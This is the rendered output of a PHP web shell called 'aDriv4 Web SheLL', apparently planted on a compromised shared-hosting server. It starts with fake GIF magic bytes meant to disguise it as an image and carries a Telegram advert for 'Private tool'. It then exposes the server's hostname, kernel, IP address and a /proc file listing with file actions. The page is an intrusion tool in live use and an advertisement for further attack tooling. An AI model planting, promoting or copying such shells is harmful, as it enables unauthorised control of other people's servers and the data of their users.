GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 67.223.118.65
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-07 08:22:40
.. dir - root/root 0755 2025-08-05 07:56:31
2607643 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2607702 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2608933 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2613450 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2653027 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2671024 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2681084 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2681507 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2682159 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2682426 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2683263 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:07
2684194 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:19
2684539 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:22:24
acpi dir - root/root 0555 2025-05-07 12:22:43
bus dir - root/root 0555 2025-05-07 12:22:51
driver dir - root/root 0555 2026-01-07 07:22:26
fs dir - root/root 0555 2025-05-07 12:22:51
irq dir - root/root 0555 2025-05-07 12:22:51
kcare dir - root/root 0555 2026-01-07 07:22:26
lve dir - root/root 0555 2026-01-07 07:22:18
net link - soliqmqs/soliqmqs 0555 2026-01-07 07:22:26
scsi dir - root/root 0555 2025-05-07 12:22:51
self link - soliqmqs/soliqmqs 0555 2026-01-07 07:22:19
sys dir - root/root 0555 2025-05-07 12:22:43
sysvipc dir - root/root 0555 2026-01-07 07:22:26
thread-self link - soliqmqs/soliqmqs 0555 2026-01-07 07:22:23
tty dir - root/root 0555 2026-01-07 07:22:26
buddyinfo 0 B root/root 0444 2026-01-07 07:22:26
cgroups 0 B root/root 0444 2026-01-07 07:22:26
cmdline text/plain 0 B root/root 0444 2026-01-07 07:22:19
consoles 0 B root/root 0444 2026-01-07 07:22:26
cpuinfo text/plain 0 B root/root 0444 2026-01-07 07:22:21
crypto 0 B root/root 0444 2026-01-07 07:22:26
devices 0 B root/root 0444 2026-01-07 07:22:26
diskstats 0 B root/root 0444 2026-01-07 07:22:21
dma 0 B root/root 0444 2026-01-07 07:22:26
execdomains 0 B root/root 0444 2026-01-07 07:22:26
fb 0 B root/root 0444 2026-01-07 07:22:26
filesystems text/plain 0 B root/root 0444 2026-01-07 07:22:18
interrupts 0 B root/root 0444 2026-01-07 07:22:26
iomem 0 B root/root 0444 2026-01-07 07:22:26
ioports 0 B root/root 0444 2026-01-07 07:22:26
kallsyms 0 B root/root 0444 2025-05-07 12:22:51
kcore 128 TB root/root 0400 2025-05-07 12:22:43
key-users 0 B root/root 0444 2026-01-07 07:22:26
keys 0 B root/root 0444 2026-01-07 07:22:26
kmsg 0 B root/root 0400 2026-01-07 07:22:26
kpagecgroup 0 B root/root 0400 2026-01-07 07:22:26
kpagecount 0 B root/root 0400 2026-01-07 07:22:26
kpageflags 0 B root/root 0400 2026-01-07 07:22:26
loadavg text/plain 0 B root/root 0444 2026-01-07 07:22:21
locks 0 B root/root 0444 2026-01-07 07:22:26
mdstat 0 B root/root 0444 2026-01-07 07:22:26
meminfo text/plain 0 B root/root 0444 2026-01-07 07:22:21
misc 0 B root/root 0444 2026-01-07 07:22:26
modules 0 B root/root 0444 2026-01-07 07:22:26
mounts text/plain 0 B soliqmqs/soliqmqs 0444 2026-01-07 07:22:26
mtrr 0 B root/root 0644 2025-05-07 12:22:51
pagetypeinfo 0 B root/root 0400 2026-01-07 07:22:26
partitions 0 B root/root 0444 2026-01-07 07:22:26
sched_debug 0 B root/root 0444 2026-01-07 07:22:26
schedstat 0 B root/root 0444 2026-01-07 07:22:26
slabinfo 0 B root/root 0400 2026-01-07 07:22:26
softirqs 0 B root/root 0444 2026-01-07 07:22:26
stat text/plain 0 B root/root 0444 2026-01-07 07:22:17
swaps 0 B root/root 0444 2025-05-07 08:22:41
sysrq-trigger 0 B root/root 0200 2025-05-07 12:22:51
timer_list 0 B root/root 0400 2026-01-07 07:22:26
uptime text/plain 0 B root/root 0444 2026-01-07 07:22:26
version text/plain 0 B root/root 0444 2026-01-07 07:22:26
vmallocinfo 0 B root/root 0400 2026-01-07 07:22:26
vmstat 0 B root/root 0444 2026-01-07 07:22:21
zoneinfo 0 B root/root 0444 2026-01-07 07:22:26
© aDriv4